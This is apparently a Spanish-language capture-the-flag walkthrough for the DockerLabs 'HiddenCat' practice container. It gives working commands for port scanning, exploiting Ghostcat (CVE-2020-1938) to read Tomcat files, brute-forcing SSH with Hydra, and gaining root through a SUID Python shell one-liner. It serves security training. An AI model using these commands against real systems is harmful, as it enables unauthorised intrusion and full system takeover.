> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/hiddencat.md).
# HiddenCat
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **HiddenCat** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos `7z` para descomprimir los archivos:
```bash
7z x hiddencat.zip
```
#### **1.3. Ejecución**
Ejecutamos el script que carga la imagen y levanta el contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh hiddencat.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la IP del contenedor para confirmar que responde:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos detectados:**
* **Puerto 22:** `SSH`.
* **Puerto 8009:** `AJP13`.
* **Puerto 8080:** `HTTP`.
#### **2.3. Escaneo detallado**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,8009,8080 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* SSH corriendo OpenSSH **7.9p1**.
* AJP habilitado (protocolo JServ 1.3).
* Apache Tomcat versión **9.0.30**.
#### **2.4. Verificación de acceso web**
Accedemos al puerto 8080 vía navegador: `http://172.17.0.2:8080/`.
Se muestra la interfaz de Apache Tomcat con versión expuesta: **9.0.30**.
#### **2.5. Exploración del puerto AJP (8009)**
No ofrece contenido web directo, pero al tratarse del protocolo AJP es susceptible a la vulnerabilidad **CVE-2020-1938**, conocida como **Ghostcat**.
### **3. Explotación**
#### **3.1. Explotación de Ghostcat**
Utilizamos `git clone` para clonar el repositorio que contiene el script de explotación:
```bash
git clone https://github.com/dacade/CVE-2020-1938.git
```
Accedemos al directorio recién clonado:
```bash
cd CVE-2020-1938
```
Modificamos los permisos del archivo para que sea ejecutable:
```bash
chmod 700 tomcat.py
```
Ejecutamos el exploit indicando la IP de la máquina vulnerable, el archivo objetivo (`web.xml`) y el puerto AJP:
```bash
python3 tomcat.py 172.17.0.2 -f /WEB-INF/web.xml -p 8009
```
Al ejecutar el script, accedemos a archivos internos del servidor y descubrimos información sensible, como el nombre de usuario `Jerry`.
#### **3.2. Fuerza bruta con Hydra**
Realizamos un ataque de fuerza bruta contra el servicio SSH utilizando el diccionario `rockyou.txt`:
```bash
hydra -l jerry -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```
**Credenciales obtenidas:**
* **Usuario:** `jerry`.
* **Contraseña:** `chocolate`.
#### **3.3. Acceso vía SSH**
```bash
ssh jerry@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Búsqueda de binarios SUID**
```bash
find / -perm -4000 2>/dev/null
```
**Encontramos el binario:** `/usr/bin/python3.7`.
#### **4.2. Ejecutamos python con privilegios**
```bash
/usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```
Obtenemos una shell como `root` gracias al privilegio SUID de Python.
